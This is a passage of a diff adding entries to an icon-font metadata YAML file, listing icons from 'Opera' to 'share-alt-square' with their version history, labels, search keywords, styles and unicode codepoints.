'4.4' + - 5.0.0 + label: Opera + search: + terms: [] + styles: + - brands + unicode: f26a + voted: false +optin-monster: + changes: + - '4.4' + - 5.0.0 + - 5.7.0 + label: Optin Monster + search: + terms: [] + styles: + - brands + unicode: f23c + voted: false +orcid: + changes: + - 5.11.0 + label: ORCID + search: + terms: [] + styles: + - brands + unicode: f8d2 +osi: + changes: + - 5.0.0 + - 5.8.0 + label: Open Source Initiative + search: + terms: [] + styles: + - brands + unicode: f41a + voted: false +otter: + changes: + - 5.4.0 + label: Otter + search: + terms: + - animal + - badger + - fauna + - fur + - mammal + - marten + styles: + - solid + unicode: f700 + voted: false +outdent: + changes: + - '1' + - 5.0.0 + - 5.9.0 + label: Outdent + search: + terms: + - align + - justify + - paragraph + - tab + styles: + - solid + unicode: f03b + voted: false +page4: + changes: + - 5.0.0 + label: page4 Corporation + search: + terms: [] + styles: + - brands + unicode: f3d7 + voted: false +pagelines: + changes: + - '4' + - 5.0.0 + label: Pagelines + search: + terms: + - eco + - flora + - leaf + - leaves + - nature + - plant + - tree + styles: + - brands + unicode: f18c + voted: false +pager: + changes: + - 5.7.0 + label: Pager + search: + terms: + - beeper + - cellphone + - communication + styles: + - solid + unicode: f815 + voted: false +paint-brush: + changes: + - '4.2' + - 5.0.0 + - 5.1.0 + label: Paint Brush + search: + terms: + - acrylic + - art + - brush + - color + - fill + - paint + - pigment + - watercolor + styles: + - solid + unicode: f1fc + voted: false +paint-roller: + changes: + - 5.1.0 + label: Paint Roller + search: + terms: + - acrylic + - art + - brush + - color + - fill + - paint + - pigment + - watercolor + styles: + - solid + unicode: f5aa + voted: false +palette: + changes: + - 5.0.13 + label: Palette + search: + terms: + - acrylic + - art + - brush + - color + - fill + - paint + - pigment + - watercolor + styles: + - solid + unicode: f53f + voted: true +palfed: + changes: + - 5.0.0 + - 5.0.3 + label: Palfed + search: + terms: [] + styles: + - brands + unicode: f3d8 + voted: false +pallet: + changes: + - 5.0.7 + label: Pallet + search: + terms: + - archive + - box + - inventory + - shipping + - warehouse + styles: + - solid + unicode: f482 + voted: false +paper-plane: + changes: + - '4.1' + - 5.0.0 + label: Paper Plane + search: + terms: + - air + - float + - fold + - mail + - paper + - send + styles: + - solid + - regular + unicode: f1d8 + voted: false +paperclip: + changes: + - '2' + - 5.0.0 + label: Paperclip + search: + terms: + - attach + - attachment + - connect + - link + styles: + - solid + unicode: f0c6 + voted: false +parachute-box: + changes: + - 5.0.9 + label: Parachute Box + search: + terms: + - aid + - assistance + - rescue + - supplies + styles: + - solid + unicode: f4cd + voted: false +paragraph: + changes: + - '4.1' + - 5.0.0 + - 5.9.0 + label: paragraph + search: + terms: + - edit + - format + - text + - writing + styles: + - solid + unicode: f1dd + voted: false +parking: + changes: + - 5.0.13 + label: Parking + search: + terms: + - auto + - car + - garage + - meter + styles: + - solid + unicode: f540 + voted: true +passport: + changes: + - 5.1.0 + label: Passport + search: + terms: + - document + - id + - identification + - issued + - travel + styles: + - solid + unicode: f5ab + voted: false +pastafarianism: + changes: + - 5.3.0 + label: Pastafarianism + search: + terms: + - agnosticism + - atheism + - flying spaghetti monster + - fsm + styles: + - solid + unicode: f67b + voted: false +paste: + changes: + - '2' + - 5.0.0 + label: Paste + search: + terms: + - clipboard + - copy + - document + - paper + styles: + - solid + unicode: f0ea + voted: false +patreon: + changes: + - 5.0.0 + - 5.0.3 + label: Patreon + search: + terms: [] + styles: + - brands + unicode: f3d9 + voted: false +pause: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: pause + search: + terms: + - hold + - wait + styles: + - solid + unicode: f04c + voted: false +pause-circle: + changes: + - '4.5' + - 5.0.0 + label: Pause Circle + search: + terms: + - hold + - wait + styles: + - solid + - regular + unicode: f28b + voted: false +paw: + changes: + - '4.1' + - 5.0.0 + label: Paw + search: + terms: + - animal + - cat + - dog + - pet + - print + styles: + - solid + unicode: f1b0 + voted: false +paypal: + changes: + - '4.2' + - 5.0.0 + label: Paypal + search: + terms: [] + styles: + - brands + unicode: f1ed + voted: false +peace: + changes: + - 5.3.0 + - 5.11.0 + - 5.11.1 + label: Peace + search: + terms: + - serenity + - tranquility + - truce + - war + styles: + - solid + unicode: f67c + voted: false +pen: + changes: + - 5.0.0 + - 5.1.0 + label: Pen + search: + terms: + - design + - edit + - update + - write + styles: + - solid + unicode: f304 + voted: false +pen-alt: + changes: + - 5.0.0 + - 5.1.0 + label: Alternate Pen + search: + terms: + - design + - edit + - update + - write + styles: + - solid + unicode: f305 + voted: false +pen-fancy: + changes: + - 5.1.0 + label: Pen Fancy + search: + terms: + - design + - edit + - fountain pen + - update + - write + styles: + - solid + unicode: f5ac + voted: false +pen-nib: + changes: + - 5.1.0 + label: Pen Nib + search: + terms: + - design + - edit + - fountain pen + - update + - write + styles: + - solid + unicode: f5ad + voted: true +pen-square: + changes: + - '3.1' + - 5.0.0 + label: Pen Square + search: + terms: + - edit + - pencil-square + - update + - write + styles: + - solid + unicode: f14b + voted: false +pencil-alt: + changes: + - 5.0.0 + label: Alternate Pencil + search: + terms: + - design + - edit + - pencil + - update + - write + styles: + - solid + unicode: f303 + voted: false +pencil-ruler: + changes: + - 5.1.0 + label: Pencil Ruler + search: + terms: + - design + - draft + - draw + - pencil + styles: + - solid + unicode: f5ae + voted: false +penny-arcade: + changes: + - 5.4.0 + label: Penny Arcade + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - game + - gaming + - pax + - tabletop + styles: + - brands + unicode: f704 + voted: false +people-arrows: + changes: + - 5.13.0 + - 5.14.0 + label: People Arrows + search: + terms: + - covid-19 + - personal space + - social distance + - space + - spread + - users + styles: + - solid + unicode: e068 + voted: false +people-carry: + changes: + - 5.0.9 + label: People Carry + search: + terms: + - box + - carry + - fragile + - help + - movers + - package + styles: + - solid + unicode: f4ce + voted: false +pepper-hot: + changes: + - 5.7.0 + label: Hot Pepper + search: + terms: + - buffalo wings + - capsicum + - chili + - chilli + - habanero + - jalapeno + - mexican + - spicy + - tabasco + - vegetable + styles: + - solid + unicode: f816 + voted: true +perbyte: + changes: + - 5.15.0 + label: PerByte + search: + terms: [] + styles: + - brands + unicode: e083 + voted: false +percent: + changes: + - '4.5' + - 5.0.0 + label: Percent + search: + terms: + - discount + - fraction + - proportion + - rate + - ratio + styles: + - solid + unicode: f295 + voted: false +percentage: + changes: + - 5.0.13 + label: Percentage + search: + terms: + - discount + - fraction + - proportion + - rate + - ratio + styles: + - solid + unicode: f541 + voted: true +periscope: + changes: + - 5.0.0 + label: Periscope + search: + terms: [] + styles: + - brands + unicode: f3da + voted: false +person-booth: + changes: + - 5.5.0 + label: Person Entering Booth + search: + terms: + - changing + - changing room + - election + - human + - person + - vote + - voting + styles: + - solid + unicode: f756 + voted: false +phabricator: + changes: + - 5.0.0 + label: Phabricator + search: + terms: [] + styles: + - brands + unicode: f3db + voted: false +phoenix-framework: + changes: + - 5.0.0 + - 5.0.3 + label: Phoenix Framework + search: + terms: [] + styles: + - brands + unicode: f3dc + voted: false +phoenix-squadron: + changes: + - 5.0.12 + - 5.8.0 + label: Phoenix Squadron + search: + terms: [] + styles: + - brands + unicode: f511 + voted: false +phone: + changes: + - '2' + - 5.0.0 + - 5.10.1 + - 5.10.2 + label: Phone + search: + terms: + - call + - earphone + - number + - support + - telephone + - voice + styles: + - solid + unicode: f095 + voted: false +phone-alt: + changes: + - 5.9.0 + - 5.10.1 + - 5.10.2 + label: Alternate Phone + search: + terms: + - call + - earphone + - number + - support + - telephone + - voice + styles: + - solid + unicode: f879 + voted: false +phone-slash: + changes: + - 5.0.0 + - 5.0.9 + label: Phone Slash + search: + terms: + - call + - cancel + - earphone + - mute + - number + - support + - telephone + - voice + styles: + - solid + unicode: f3dd + voted: false +phone-square: + changes: + - '2' + - 5.0.0 + label: Phone Square + search: + terms: + - call + - earphone + - number + - support + - telephone + - voice + styles: + - solid + unicode: f098 + voted: false +phone-square-alt: + changes: + - 5.9.0 + - 5.10.1 + label: Alternate Phone Square + search: + terms: + - call + - earphone + - number + - support + - telephone + - voice + styles: + - solid + unicode: f87b + voted: false +phone-volume: + changes: + - '4.6' + - 5.0.0 + - 5.0.3 + - 5.7.0 + label: Phone Volume + search: + terms: + - call + - earphone + - number + - sound + - support + - telephone + - voice + - volume-control-phone + styles: + - solid + unicode: f2a0 + voted: false +photo-video: + changes: + - 5.9.0 + label: Photo Video + search: + terms: + - av + - film + - image + - library + - media + styles: + - solid + unicode: f87c + voted: false +php: + changes: + - 5.0.5 + label: PHP + search: + terms: [] + styles: + - brands + unicode: f457 + voted: true +pied-piper: + changes: + - '4.6' + - 5.0.0 + - 5.0.10 + - 5.12.0 + label: Pied Piper Logo + search: + terms: [] + styles: + - brands + unicode: f2ae + voted: false +pied-piper-alt: + changes: + - '4.1' + - 5.0.0 + - 5.7.0 + label: Alternate Pied Piper Logo (Old) + search: + terms: [] + styles: + - brands + unicode: f1a8 + voted: false +pied-piper-hat: + changes: + - 5.0.10 + label: Pied Piper Hat (Old) + search: + terms: + - clothing + styles: + - brands + unicode: f4e5 + voted: false +pied-piper-pp: + changes: + - '4.1' + - 5.0.0 + label: Pied Piper PP Logo (Old) + search: + terms: [] + styles: + - brands + unicode: f1a7 + voted: false +pied-piper-square: + changes: + - 5.12.0 + - 5.14.0 + label: Pied Piper Square Logo (Old) + search: + terms: [] + styles: + - brands + unicode: e01e + voted: false +piggy-bank: + changes: + - 5.0.9 + - 5.10.2 + label: Piggy Bank + search: + terms: + - bank + - save + - savings + styles: + - solid + unicode: f4d3 + voted: false +pills: + changes: + - 5.0.7 + label: Pills + search: + terms: + - drugs + - medicine + - prescription + - tablets + styles: + - solid + unicode: f484 + voted: false +pinterest: + changes: + - '2' + - 5.0.0 + label: Pinterest + search: + terms: [] + styles: + - brands + unicode: f0d2 + voted: false +pinterest-p: + changes: + - '4.3' + - 5.0.0 + label: Pinterest P + search: + terms: [] + styles: + - brands + unicode: f231 + voted: false +pinterest-square: + changes: + - '2' + - 5.0.0 + label: Pinterest Square + search: + terms: [] + styles: + - brands + unicode: f0d3 + voted: false +pizza-slice: + changes: + - 5.7.0 + label: Pizza Slice + search: + terms: + - cheese + - chicago + - italian + - mozzarella + - new york + - pepperoni + - pie + - slice + - teenage mutant ninja turtles + - tomato + styles: + - solid + unicode: f818 + voted: true +place-of-worship: + changes: + - 5.3.0 + label: Place of Worship + search: + terms: + - building + - church + - holy + - mosque + - synagogue + styles: + - solid + unicode: f67f + voted: false +plane: + changes: + - '1' + - 5.0.0 + - 5.0.13 + label: plane + search: + terms: + - airplane + - destination + - fly + - location + - mode + - travel + - trip + styles: + - solid + unicode: f072 + voted: false +plane-arrival: + changes: + - 5.1.0 + label: Plane Arrival + search: + terms: + - airplane + - arriving + - destination + - fly + - land + - landing + - location + - mode + - travel + - trip + styles: + - solid + unicode: f5af + voted: false +plane-departure: + changes: + - 5.1.0 + - 5.8.0 + label: Plane Departure + search: + terms: + - airplane + - departing + - destination + - fly + - location + - mode + - take off + - taking off + - travel + - trip + styles: + - solid + unicode: f5b0 + voted: false +plane-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Plane Slash + search: + terms: + - airplane mode + - canceled + - covid-19 + - delayed + - grounded + - travel + styles: + - solid + unicode: e069 + voted: false +play: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: play + search: + terms: + - audio + - music + - playing + - sound + - start + - video + styles: + - solid + unicode: f04b + voted: false +play-circle: + changes: + - '3.1' + - 5.0.0 + - 5.10.2 + label: Play Circle + search: + terms: + - audio + - music + - playing + - sound + - start + - video + styles: + - solid + - regular + unicode: f144 + voted: false +playstation: + changes: + - 5.0.0 + label: PlayStation + search: + terms: [] + styles: + - brands + unicode: f3df + voted: false +plug: + changes: + - '4.2' + - 5.0.0 + - 5.12.0 + label: Plug + search: + terms: + - connect + - electric + - online + - power + styles: + - solid + unicode: f1e6 + voted: false +plus: + changes: + - '1' + - 5.0.0 + - 5.0.13 + label: plus + search: + terms: + - add + - create + - expand + - new + - positive + - shape + styles: + - solid + unicode: f067 + voted: false +plus-circle: + changes: + - '1' + - 5.0.0 + label: Plus Circle + search: + terms: + - add + - create + - expand + - new + - positive + - shape + styles: + - solid + unicode: f055 + voted: false +plus-square: + changes: + - '3' + - 5.0.0 + label: Plus Square + search: + terms: + - add + - create + - expand + - new + - positive + - shape + styles: + - solid + - regular + unicode: f0fe + voted: false +podcast: + changes: + - '4.7' + - 5.0.0 + label: Podcast + search: + terms: + - audio + - broadcast + - music + - sound + styles: + - solid + unicode: f2ce + voted: false +poll: + changes: + - 5.3.0 + - 5.10.1 + label: Poll + search: + terms: + - results + - survey + - trend + - vote + - voting + styles: + - solid + unicode: f681 + voted: false +poll-h: + changes: + - 5.3.0 + - 5.10.1 + label: Poll H + search: + terms: + - results + - survey + - trend + - vote + - voting + styles: + - solid + unicode: f682 + voted: false +poo: + changes: + - 5.0.0 + - 5.0.9 + label: Poo + search: + terms: + - crap + - poop + - shit + - smile + - turd + styles: + - solid + unicode: f2fe + voted: false +poo-storm: + changes: + - 5.5.0 + label: Poo Storm + search: + terms: + - bolt + - cloud + - euphemism + - lightning + - mess + - poop + - shit + - turd + styles: + - solid + unicode: f75a + voted: false +poop: + changes: + - 5.2.0 + label: Poop + search: + terms: + - crap + - poop + - shit + - smile + - turd + styles: + - solid + unicode: f619 + voted: false +portrait: + changes: + - 5.0.0 + - 5.0.3 + label: Portrait + search: + terms: + - id + - image + - photo + - picture + - selfie + styles: + - solid + unicode: f3e0 + voted: false +pound-sign: + changes: + - '3.2' + - 5.0.0 + label: Pound Sign + search: + terms: + - currency + - gbp + - money + styles: + - solid + unicode: f154 + voted: false +power-off: + changes: + - '1' + - 5.0.0 + label: Power Off + search: + terms: + - cancel + - computer + - 'on' + - reboot + - restart + styles: + - solid + unicode: f011 + voted: false +pray: + changes: + - 5.3.0 + label: Pray + search: + terms: + - kneel + - preach + - religion + - worship + styles: + - solid + unicode: f683 + voted: false +praying-hands: + changes: + - 5.3.0 + label: Praying Hands + search: + terms: + - kneel + - preach + - religion + - worship + styles: + - solid + unicode: f684 + voted: false +prescription: + changes: + - 5.1.0 + label: Prescription + search: + terms: + - drugs + - medical + - medicine + - pharmacy + - rx + styles: + - solid + unicode: f5b1 + voted: false +prescription-bottle: + changes: + - 5.0.7 + label: Prescription Bottle + search: + terms: + - drugs + - medical + - medicine + - pharmacy + - rx + styles: + - solid + unicode: f485 + voted: false +prescription-bottle-alt: + changes: + - 5.0.7 + label: Alternate Prescription Bottle + search: + terms: + - drugs + - medical + - medicine + - pharmacy + - rx + styles: + - solid + unicode: f486 + voted: false +print: + changes: + - '1' + - 5.0.0 + - 5.3.0 + - 5.11.0 + label: print + search: + terms: + - business + - copy + - document + - office + - paper + styles: + - solid + unicode: f02f + voted: false +procedures: + changes: + - 5.0.7 + label: Procedures + search: + terms: + - EKG + - bed + - electrocardiogram + - health + - hospital + - life + - patient + - vital + styles: + - solid + unicode: f487 + voted: false +product-hunt: + changes: + - '4.5' + - 5.0.0 + label: Product Hunt + search: + terms: [] + styles: + - brands + unicode: f288 + voted: false +project-diagram: + changes: + - 5.0.13 + label: Project Diagram + search: + terms: + - chart + - graph + - network + - pert + styles: + - solid + unicode: f542 + voted: false +pump-medical: + changes: + - 5.13.0 + - 5.14.0 + label: Pump Medical + search: + terms: + - anti-bacterial + - clean + - covid-19 + - disinfect + - hygiene + - medical grade + - sanitizer + - soap + styles: + - solid + unicode: e06a + voted: false +pump-soap: + changes: + - 5.13.0 + - 5.14.0 + label: Pump Soap + search: + terms: + - anti-bacterial + - clean + - covid-19 + - disinfect + - hygiene + - sanitizer + - soap + styles: + - solid + unicode: e06b + voted: false +pushed: + changes: + - 5.0.0 + label: Pushed + search: + terms: [] + styles: + - brands + unicode: f3e1 + voted: false +puzzle-piece: + changes: + - '3.1' + - 5.0.0 + label: Puzzle Piece + search: + terms: + - add-on + - addon + - game + - section + styles: + - solid + unicode: f12e + voted: false +python: + changes: + - 5.0.0 + label: Python + search: + terms: [] + styles: + - brands + unicode: f3e2 + voted: false +qq: + changes: + - '4.1' + - 5.0.0 + label: QQ + search: + terms: [] + styles: + - brands + unicode: f1d6 + voted: false +qrcode: + changes: + - '1' + - 5.0.0 + - 5.10.1 + label: qrcode + search: + terms: + - barcode + - info + - information + - scan + styles: + - solid + unicode: f029 + voted: false +question: + changes: + - '3.1' + - 5.0.0 + label: Question + search: + terms: + - help + - information + - support + - unknown + styles: + - solid + unicode: f128 + voted: false +question-circle: + changes: + - '1' + - 5.0.0 + label: Question Circle + search: + terms: + - help + - information + - support + - unknown + styles: + - solid + - regular + unicode: f059 + voted: false +quidditch: + changes: + - 5.0.5 + label: Quidditch + search: + terms: + - ball + - bludger + - broom + - golden snitch + - harry potter + - hogwarts + - quaffle + - sport + - wizard + styles: + - solid + unicode: f458 + voted: false +quinscape: + changes: + - 5.0.5 + - 5.7.0 + - 5.8.0 + label: QuinScape + search: + terms: [] + styles: + - brands + unicode: f459 + voted: false +quora: + changes: + - '4.7' + - 5.0.0 + label: Quora + search: + terms: [] + styles: + - brands + unicode: f2c4 + voted: false +quote-left: + changes: + - '3' + - 5.0.0 + - 5.0.9 + label: quote-left + search: + terms: + - mention + - note + - phrase + - text + - type + styles: + - solid + unicode: f10d + voted: false +quote-right: + changes: + - '3' + - 5.0.0 + - 5.0.9 + label: quote-right + search: + terms: + - mention + - note + - phrase + - text + - type + styles: + - solid + unicode: f10e + voted: false +quran: + changes: + - 5.3.0 + label: Quran + search: + terms: + - book + - islam + - muslim + - religion + styles: + - solid + unicode: f687 + voted: false +r-project: + changes: + - 5.0.11 + - 5.0.12 + label: R Project + search: + terms: [] + styles: + - brands + unicode: f4f7 + voted: true +radiation: + changes: + - 5.6.0 + - 5.8.2 + - 5.11.0 + - 5.11.1 + label: Radiation + search: + terms: + - danger + - dangerous + - deadly + - hazard + - nuclear + - radioactive + - warning + styles: + - solid + unicode: f7b9 + voted: true +radiation-alt: + changes: + - 5.6.0 + - 5.8.2 + - 5.11.0 + - 5.11.1 + label: Alternate Radiation + search: + terms: + - danger + - dangerous + - deadly + - hazard + - nuclear + - radioactive + - warning + styles: + - solid + unicode: f7ba + voted: true +rainbow: + changes: + - 5.5.0 + - 5.10.1 + label: Rainbow + search: + terms: + - gold + - leprechaun + - prism + - rain + - sky + styles: + - solid + unicode: f75b + voted: false +random: + changes: + - '1' + - 5.0.0 + label: random + search: + terms: + - arrows + - shuffle + - sort + - swap + - switch + - transfer + styles: + - solid + unicode: f074 + voted: false +raspberry-pi: + changes: + - 5.6.0 + label: Raspberry Pi + search: + terms: [] + styles: + - brands + unicode: f7bb + voted: true +ravelry: + changes: + - '4.7' + - 5.0.0 + - 5.15.1 + label: Ravelry + search: + terms: [] + styles: + - brands + unicode: f2d9 + voted: false +react: + changes: + - 5.0.0 + label: React + search: + terms: [] + styles: + - brands + unicode: f41b + voted: false +reacteurope: + changes: + - 5.5.0 + - 5.8.0 + label: ReactEurope + search: + terms: [] + styles: + - brands + unicode: f75d + voted: false +readme: + changes: + - 5.0.9 + - 5.0.10 + label: ReadMe + search: + terms: [] + styles: + - brands + unicode: f4d5 + voted: false +rebel: + changes: + - '4.1' + - 5.0.0 + label: Rebel Alliance + search: + terms: [] + styles: + - brands + unicode: f1d0 + voted: false +receipt: + changes: + - 5.0.13 + label: Receipt + search: + terms: + - check + - invoice + - money + - pay + - table + styles: + - solid + unicode: f543 + voted: true +record-vinyl: + changes: + - 5.11.0 + label: Record Vinyl + search: + terms: + - LP + - album + - analog + - music + - phonograph + - sound + styles: + - solid + unicode: f8d9 + voted: false +recycle: + changes: + - '4.1' + - 5.0.0 + label: Recycle + search: + terms: + - Waste + - compost + - garbage + - reuse + - trash + styles: + - solid + unicode: f1b8 + voted: false +red-river: + changes: + - 5.0.0 + label: red river + search: + terms: [] + styles: + - brands + unicode: f3e3 + voted: false +reddit: + changes: + - '4.1' + - 5.0.0 + label: reddit Logo + search: + terms: [] + styles: + - brands + unicode: f1a1 + voted: false +reddit-alien: + changes: + - '4.5' + - 5.0.0 + label: reddit Alien + search: + terms: [] + styles: + - brands + unicode: f281 + voted: false +reddit-square: + changes: + - '4.1' + - 5.0.0 + label: reddit Square + search: + terms: [] + styles: + - brands + unicode: f1a2 + voted: false +redhat: + changes: + - 5.6.0 + - 5.8.2 + label: Redhat + search: + terms: + - linux + - operating system + - os + styles: + - brands + unicode: f7bc + voted: true +redo: + changes: + - '1' + - 5.0.0 + - 5.8.0 + label: Redo + search: + terms: + - forward + - refresh + - reload + - repeat + styles: + - solid + unicode: f01e + voted: false +redo-alt: + changes: + - 5.0.0 + label: Alternate Redo + search: + terms: + - forward + - refresh + - reload + - repeat + styles: + - solid + unicode: f2f9 + voted: false +registered: + changes: + - '4.4' + - 5.0.0 + - 5.10.1 + label: Registered Trademark + search: + terms: + - copyright + - mark + - trademark + styles: + - solid + - regular + unicode: f25d + voted: false +remove-format: + changes: + - 5.9.0 + label: Remove Format + search: + terms: + - cancel + - font + - format + - remove + - style + - text + styles: + - solid + unicode: f87d + voted: false +renren: + changes: + - '3.2' + - 5.0.0 + label: Renren + search: + terms: [] + styles: + - brands + unicode: f18b + voted: false +reply: + changes: + - '3' + - 5.0.0 + label: Reply + search: + terms: + - mail + - message + - respond + styles: + - solid + unicode: f3e5 + voted: false +reply-all: + changes: + - '3.1' + - 5.0.0 + label: reply-all + search: + terms: + - mail + - message + - respond + styles: + - solid + unicode: f122 + voted: false +replyd: + changes: + - 5.0.0 + label: replyd + search: + terms: [] + styles: + - brands + unicode: f3e6 + voted: false +republican: + changes: + - 5.5.0 + label: Republican + search: + terms: + - american + - conservative + - election + - elephant + - politics + - republican party + - right + - right-wing + - usa + styles: + - solid + unicode: f75e + voted: false +researchgate: + changes: + - 5.0.11 + label: Researchgate + search: + terms: [] + styles: + - brands + unicode: f4f8 + voted: true +resolving: + changes: + - 5.0.0 + label: Resolving + search: + terms: [] + styles: + - brands + unicode: f3e7 + voted: false +restroom: + changes: + - 5.6.0 + label: Restroom + search: + terms: + - bathroom + - john + - loo + - potty + - washroom + - waste + - wc + styles: + - solid + unicode: f7bd + voted: true +retweet: + changes: + - '1' + - 5.0.0 + label: Retweet + search: + terms: + - refresh + - reload + - share + - swap + styles: + - solid + unicode: f079 + voted: false +rev: + changes: + - 5.1.0 + - 5.1.1 + - 5.8.0 + label: Rev.io + search: + terms: [] + styles: + - brands + unicode: f5b2 + voted: false +ribbon: + changes: + - 5.0.9 + label: Ribbon + search: + terms: + - badge + - cause + - lapel + - pin + styles: + - solid + unicode: f4d6 + voted: false +ring: + changes: + - 5.4.0 + label: Ring + search: + terms: + - Dungeons & Dragons + - Gollum + - band + - binding + - d&d + - dnd + - engagement + - fantasy + - gold + - jewelry + - marriage + - precious + styles: + - solid + unicode: f70b + voted: false +road: + changes: + - '1' + - 5.0.0 + - 5.2.0 + label: road + search: + terms: + - highway + - map + - pavement + - route + - street + - travel + styles: + - solid + unicode: f018 + voted: false +robot: + changes: + - 5.0.13 + - 5.12.0 + label: Robot + search: + terms: + - android + - automate + - computer + - cyborg + styles: + - solid + unicode: f544 + voted: true +rocket: + changes: + - '3.1' + - 5.0.0 + - 5.7.0 + - 5.12.0 + label: rocket + search: + terms: + - aircraft + - app + - jet + - launch + - nasa + - space + styles: + - solid + unicode: f135 + voted: false +rocketchat: + changes: + - 5.0.0 + - 5.4.2 + - 5.8.0 + - 5.15.0 + label: Rocket.Chat + search: + terms: [] + styles: + - brands + unicode: f3e8 + voted: false +rockrms: + changes: + - 5.0.0 + label: Rockrms + search: + terms: [] + styles: + - brands + unicode: f3e9 + voted: false +route: + changes: + - 5.0.9 + - 5.2.0 + label: Route + search: + terms: + - directions + - navigation + - travel + styles: + - solid + unicode: f4d7 + voted: false +rss: + changes: + - '2' + - 5.0.0 + label: rss + search: + terms: + - blog + - feed + - journal + - news + - writing + styles: + - solid + unicode: f09e + voted: false +rss-square: + changes: + - '3.1' + - 5.0.0 + label: RSS Square + search: + terms: + - blog + - feed + - journal + - news + - writing + styles: + - solid + unicode: f143 + voted: false +ruble-sign: + changes: + - '4' + - 5.0.0 + label: Ruble Sign + search: + terms: + - currency + - money + - rub + styles: + - solid + unicode: f158 + voted: false +ruler: + changes: + - 5.0.13 + label: Ruler + search: + terms: + - design + - draft + - length + - measure + - planning + styles: + - solid + unicode: f545 + voted: true +ruler-combined: + changes: + - 5.0.13 + label: Ruler Combined + search: + terms: + - design + - draft + - length + - measure + - planning + styles: + - solid + unicode: f546 + voted: true +ruler-horizontal: + changes: + - 5.0.13 + label: Ruler Horizontal + search: + terms: + - design + - draft + - length + - measure + - planning + styles: + - solid + unicode: f547 + voted: true +ruler-vertical: + changes: + - 5.0.13 + label: Ruler Vertical + search: + terms: + - design + - draft + - length + - measure + - planning + styles: + - solid + unicode: f548 + voted: true +running: + changes: + - 5.4.0 + - 5.11.0 + label: Running + search: + terms: + - exercise + - health + - jog + - person + - run + - sport + - sprint + styles: + - solid + unicode: f70c + voted: true +rupee-sign: + changes: + - '3.2' + - 5.0.0 + label: Indian Rupee Sign + search: + terms: + - currency + - indian + - inr + - money + styles: + - solid + unicode: f156 + voted: false +rust: + changes: + - 5.13.1 + - 5.14.0 + label: Rust + search: + terms: [] + styles: + - brands + unicode: e07a + voted: true +sad-cry: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Crying Face + search: + terms: + - emoticon + - face + - tear + - tears + styles: + - solid + - regular + unicode: f5b3 + voted: false +sad-tear: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Loudly Crying Face + search: + terms: + - emoticon + - face + - tear + - tears + styles: + - solid + - regular + unicode: f5b4 + voted: false +safari: + changes: + - '4.4' + - 5.0.0 + - 5.12.0 + label: Safari + search: + terms: + - browser + styles: + - brands + unicode: f267 + voted: false +salesforce: + changes: + - 5.8.0 + label: Salesforce + search: + terms: [] + styles: + - brands + unicode: f83b +sass: + changes: + - 5.0.0 + - 5.8.0 + label: Sass + search: + terms: [] + styles: + - brands + unicode: f41e + voted: false +satellite: + changes: + - 5.6.0 + - 5.10.1 + - 5.12.0 + label: Satellite + search: + terms: + - communications + - hardware + - orbit + - space + styles: + - solid + unicode: f7bf + voted: true +satellite-dish: + changes: + - 5.6.0 + - 5.12.0 + label: Satellite Dish + search: + terms: + - SETI + - communications + - hardware + - receiver + - saucer + - signal + - space + styles: + - solid + unicode: f7c0 + voted: true +save: + changes: + - '2' + - 5.0.0 + - 5.10.2 + label: Save + search: + terms: + - disk + - download + - floppy + - floppy-o + styles: + - solid + - regular + unicode: f0c7 + voted: false +schlix: + changes: + - 5.0.0 + label: SCHLIX + search: + terms: [] + styles: + - brands + unicode: f3ea + voted: false +school: + changes: + - 5.0.13 + label: School + search: + terms: + - building + - education + - learn + - student + - teacher + styles: + - solid + unicode: f549 + voted: true +screwdriver: + changes: + - 5.0.13 + label: Screwdriver + search: + terms: + - admin + - fix + - mechanic + - repair + - settings + - tool + styles: + - solid + unicode: f54a + voted: true +scribd: + changes: + - '4.5' + - 5.0.0 + label: Scribd + search: + terms: [] + styles: + - brands + unicode: f28a + voted: false +scroll: + changes: + - 5.4.0 + - 5.10.2 + label: Scroll + search: + terms: + - Dungeons & Dragons + - announcement + - d&d + - dnd + - fantasy + - paper + - script + styles: + - solid + unicode: f70e + voted: false +sd-card: + changes: + - 5.6.0 + label: Sd Card + search: + terms: + - image + - memory + - photo + - save + styles: + - solid + unicode: f7c2 + voted: true +search: + changes: + - '1' + - 5.0.0 + label: Search + search: + terms: + - bigger + - enlarge + - find + - magnify + - preview + - zoom + styles: + - solid + unicode: f002 + voted: false +search-dollar: + changes: + - 5.3.0 + label: Search Dollar + search: + terms: + - bigger + - enlarge + - find + - magnify + - money + - preview + - zoom + styles: + - solid + unicode: f688 + voted: false +search-location: + changes: + - 5.3.0 + label: Search Location + search: + terms: + - bigger + - enlarge + - find + - magnify + - preview + - zoom + styles: + - solid + unicode: f689 + voted: false +search-minus: + changes: + - '1' + - 5.0.0 + - 5.0.13 + label: Search Minus + search: + terms: + - minify + - negative + - smaller + - zoom + - zoom out + styles: + - solid + unicode: f010 + voted: false +search-plus: + changes: + - '1' + - 5.0.0 + label: Search Plus + search: + terms: + - bigger + - enlarge + - magnify + - positive + - zoom + - zoom in + styles: + - solid + unicode: f00e + voted: false +searchengin: + changes: + - 5.0.0 + label: Searchengin + search: + terms: [] + styles: + - brands + unicode: f3eb + voted: false +seedling: + changes: + - 5.0.9 + label: Seedling + search: + terms: + - flora + - grow + - plant + - vegan + styles: + - solid + unicode: f4d8 + voted: false +sellcast: + changes: + - 5.0.0 + label: Sellcast + search: + terms: + - eercast + styles: + - brands + unicode: f2da + voted: false +sellsy: + changes: + - '4.3' + - 5.0.0 + label: Sellsy + search: + terms: [] + styles: + - brands + unicode: f213 + voted: false +server: + changes: + - '4.3' + - 5.0.0 + label: Server + search: + terms: + - computer + - cpu + - database + - hardware + - network + styles: + - solid + unicode: f233 + voted: false +servicestack: + changes: + - 5.0.0 + label: Servicestack + search: + terms: [] + styles: + - brands + unicode: f3ec + voted: false +shapes: + changes: + - 5.2.0 + - 5.12.0 + label: Shapes + search: + terms: + - blocks + - build + - circle + - square + - triangle + styles: + - solid + unicode: f61f + voted: false +share: + changes: + - '1' + - 5.0.0 + label: Share + search: + terms: + - forward + - save + - send + - social + styles: + - solid + unicode: f064 + voted: false +share-alt: + changes: + - '4.1' + - 5.0.0 + label: Alternate Share + search: + terms: + - forward + - save + - send + - social + styles: + - solid + unicode: f1e0 + voted: false +share-alt-square: + changes: + - '4.1' + - 5.0.0 + label: Alternate Share Square + search: + terms: + - forward + - save + 